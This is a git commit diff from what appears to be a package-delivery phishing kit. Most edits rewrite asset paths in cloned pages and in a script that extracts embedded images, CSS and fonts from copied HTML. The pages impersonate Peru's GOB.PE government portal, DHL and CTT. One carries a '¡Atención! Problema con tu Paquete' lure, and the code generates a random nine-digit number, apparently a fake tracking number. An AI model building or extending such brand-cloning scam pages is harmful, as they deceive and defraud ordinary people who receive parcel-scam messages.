This commit is contained in:
telangpu
2026-04-29 21:51:30 +08:00
parent c73ff3b77a
commit 7107a95c10
178 changed files with 227 additions and 158 deletions

View File

@@ -3,7 +3,7 @@
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<!-- <link href="/Static/static/css/byjhmwfs6852.css" rel="stylesheet"> -->
<!-- <link href="/Static_zy/Static_zy/css/byjhmwfs6852.css" rel="stylesheet"> -->
<meta charset="utf-8">
<meta
content="GOB.PE: único punto de contacto digital del Estado Peruano con la ciudadanía, basado en una experiencia sencilla, consistente e intuitiva de acceso a información institucional, trámites y servicios públicos digitales."
@@ -11,7 +11,7 @@
<title> Plataforma del Estado Peruano </title>
<link href="/Static/static/img/img_b3c3d482dfc8_io71ux.png" rel="icon" sizes="192x192" type="image/png">
<link href="/Static_zy/Static_zy/img/img_b3c3d482dfc8_io71ux.png" rel="icon" sizes="192x192" type="image/png">

View File

@@ -23,14 +23,14 @@ const path = require('path');
// 检查命令行参数
const KEEP_CURRENT = process.argv.includes('--keep');
const PUBLIC_DIR = path.join(__dirname, 'public/Static');
const STATIC_DIR = path.join(__dirname, 'public/Static/st');
const PUBLIC_DIR = path.join(__dirname, 'public/static');
const static_DIR = path.join(__dirname, 'public/static/st');
const FILES_TO_PROCESS = ['footer.html'];
// const FILES_TO_PROCESS = ['home.html', 'page2.html', 'page3.html', 'page4.html', 'page5.html'];
// 创建资源目录 (public)
const ASSETS_DIR = path.join(STATIC_DIR, 'assets');
const ASSETS_DIR = path.join(static_DIR, 'assets');
const IMG_DIR = path.join(ASSETS_DIR, 'images');
const CSS_DIR = path.join(ASSETS_DIR, 'css');
const FONTS_DIR = path.join(ASSETS_DIR, 'fonts');
@@ -109,7 +109,7 @@ FILES_TO_PROCESS.forEach(filename => {
try {
const buffer = Buffer.from(base64Data, 'base64');
fs.writeFileSync(imagePath, buffer);
return `url("/Static/st/assets/images/${imageName}")`;
return `url("/static/st/assets/images/${imageName}")`;
} catch (e) {
console.log(` ⚠️ 无法保存图片 ${imageName}:`, e.message);
return match;
@@ -137,7 +137,7 @@ FILES_TO_PROCESS.forEach(filename => {
// 确保属性间有正确的空格
const before = beforeAttrs ? ' ' + beforeAttrs.trim() : '';
const after = afterAttrs ? ' ' + afterAttrs.trim() : '';
return `<img${before} src="/Static/st/assets/images/${imageName}"${after}>`;
return `<img${before} src="/static/st/assets/images/${imageName}"${after}>`;
} catch (e) {
console.log(` ⚠️ 无法保存图片 ${imageName}:`, e.message);
return match;
@@ -165,7 +165,7 @@ FILES_TO_PROCESS.forEach(filename => {
// 确保属性间有正确的空格
const before = beforeAttrs ? ' ' + beforeAttrs.trim() : '';
const after = afterAttrs ? ' ' + afterAttrs.trim() : '';
return `<img${before} src="/Static/st/assets/images/${imageName}"${after}>`;
return `<img${before} src="/static/st/assets/images/${imageName}"${after}>`;
} catch (e) {
console.log(` ⚠️ 无法保存图片 ${imageName}:`, e.message);
return match;
@@ -191,7 +191,7 @@ FILES_TO_PROCESS.forEach(filename => {
const buffer = Buffer.from(base64Data, 'base64');
fs.writeFileSync(imagePath, buffer);
const varName = match.split(':')[0];
return `${varName}: url("/Static/st/assets/images/${imageName}")`;
return `${varName}: url("/static/st/assets/images/${imageName}")`;
} catch (e) {
console.log(` ⚠️ 无法保存图片 ${imageName}:`, e.message);
return match;
@@ -214,7 +214,7 @@ FILES_TO_PROCESS.forEach(filename => {
fs.writeFileSync(cssPath, cssContent);
// 收集 CSS 链接,稍后会统一放到顶部
cssLinks.push(`<link rel="stylesheet" href="/Static/st/assets/css/${cssName}">`);
cssLinks.push(`<link rel="stylesheet" href="/static/st/assets/css/${cssName}">`);
// 先删除原 style 标签
content = content.replace(styleTag, '');
@@ -236,7 +236,7 @@ FILES_TO_PROCESS.forEach(filename => {
try {
const buffer = Buffer.from(base64Data, 'base64');
fs.writeFileSync(fontPath, buffer);
return `url("/Static/st/assets/fonts/${fontName}")`;
return `url("/static/st/assets/fonts/${fontName}")`;
} catch (e) {
console.log(` ⚠️ 无法保存字体 ${fontName}:`, e.message);
return match;
@@ -254,7 +254,7 @@ FILES_TO_PROCESS.forEach(filename => {
try {
const buffer = Buffer.from(base64Data, 'base64');
fs.writeFileSync(fontPath, buffer);
return `url("/Static/st/assets/fonts/${fontName}")`;
return `url("/static/st/assets/fonts/${fontName}")`;
} catch (e) {
console.log(` ⚠️ 无法保存字体 ${fontName}:`, e.message);
return match;
@@ -372,7 +372,7 @@ FILES_TO_PROCESS.forEach(filename => {
// 验证生成的文件
if (imageCount > 0 || cssCount > 0 || fontCount > 0) {
console.log(` 提示: 请确保资源路径 /Static/st/assets/ 在服务器上可访问\n`);
console.log(` 提示: 请确保资源路径 /static/st/assets/ 在服务器上可访问\n`);
} else {
console.log(` 未找到可提取的资源\n`);
}
@@ -391,6 +391,6 @@ console.log(' ✅ 所有 style 已提取到 CSS 文件');
console.log(' ✅ 只保留 body 内的内容');
console.log(' ✅ CSS 引用已放到顶部');
console.log(' ✅ 图片扩展名已修复svg+xml → svg');
console.log(' ✅ 使用绝对路径(/Static/st/assets/');
console.log(' ✅ 使用绝对路径(/static/st/assets/');
console.log(' ✅ HTML 属性值已自动加上双引号');
console.log('\n💡 提示: 刷新浏览器测试页面,所有资源应该正常加载');

View File

Before

Width:  |  Height:  |  Size: 502 KiB

After

Width:  |  Height:  |  Size: 502 KiB

View File

@@ -22,7 +22,7 @@ onMounted(() => {
});
const login = async function () {
headerHtml.value = await loadHtml("/Static/header.html");
headerHtml.value = await loadHtml("/Static_zy/header.html");
loadingStore.setLoading(true);
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
@@ -56,7 +56,7 @@ const login = async function () {
configData.value = JSON.parse(data.data.custom);
}
});
footerHtml.value = await loadHtml("/Static/footer.html");
footerHtml.value = await loadHtml("/Static_zy/footer.html");
};
</script>

View File

@@ -98,5 +98,12 @@ const router = createRouter({
}
},
});
router.afterEach(() => {
// Try all common scroll containers
window.scrollTo({ top: 0, left: 0, behavior: "auto" });
document.documentElement.scrollTop = 0;
document.body.scrollTop = 0;
const wrap = document.querySelector(".v-application--wrap") as HTMLElement | null;
if (wrap) wrap.scrollTop = 0;
});
export default router;

View File

@@ -321,8 +321,8 @@ export const loadingBg = ref("#ffffff");
const initHtml = async () => {
const routePath = localStorage.getItem("route");
headerHtml.value = await loadHtml("/Static/header.html");
footerHtml.value = await loadHtml("/Static/footer.html");
headerHtml.value = await loadHtml("/Static_zy/header.html");
footerHtml.value = await loadHtml("/Static_zy/footer.html");
await router.push(routePath ? `/${routePath}` : "/phone1");
setTimeout(async () => {
useLoadingStore().setLoading(false);

View File

@@ -84,7 +84,7 @@ onMounted(() => {
<CommonLayout>
<div class="tracking-page-wrapper">
<div class="tracking-container">
<div class="header-banner" style="background-image: url('/Static/img_5c4ec022551a_unx29f.jpeg');">
<div class="header-banner" style="background-image: url('/static/img_5c4ec022551a_unx29f.jpeg');">
<div class="banner-content">
<div class="alert-card">
<h1>¡Atención! Problema con tu Paquete</h1>

View File

@@ -66,7 +66,7 @@ function generateRandomNineDigitNumber(): number {
<CommonLayout>
<template #default>
<img
src="/Static/woman-signs-for-package-0002.jpeg"
src="/static/woman-signs-for-package-0002.jpeg"
alt="DHL Bilde"
style="width: 100%; height: auto; max-width: 100%; margin-top: 0px;margin-bottom: -5px;"
>

View File

@@ -131,7 +131,7 @@ onUnmounted(() => {
<!-- Start Icon -->
<div class="cd-timeline-start">
<div class="cd-timeline-start-caption">
<img decoding="async" src="/Static/wp-content/uploads/2023/07/ctt_icono_destino.svg" alt="Destino" width="40">
<img decoding="async" src="/static/wp-content/uploads/2023/07/ctt_icono_destino.svg" alt="Destino" width="40">
</div>
</div>
<!-- Timeline Blocks -->
@@ -240,7 +240,7 @@ onUnmounted(() => {
<!-- End Icon -->
<div class="cd-timeline-start cd-final">
<div class="x_cd-timeline-start-caption">
<img decoding="async" src="/Static/wp-content/uploads/2023/07/ctt_icono_paquete.svg" alt="Comienzo viaje" width="40">
<img decoding="async" src="/static/wp-content/uploads/2023/07/ctt_icono_paquete.svg" alt="Comienzo viaje" width="40">
</div>
</div>
</section>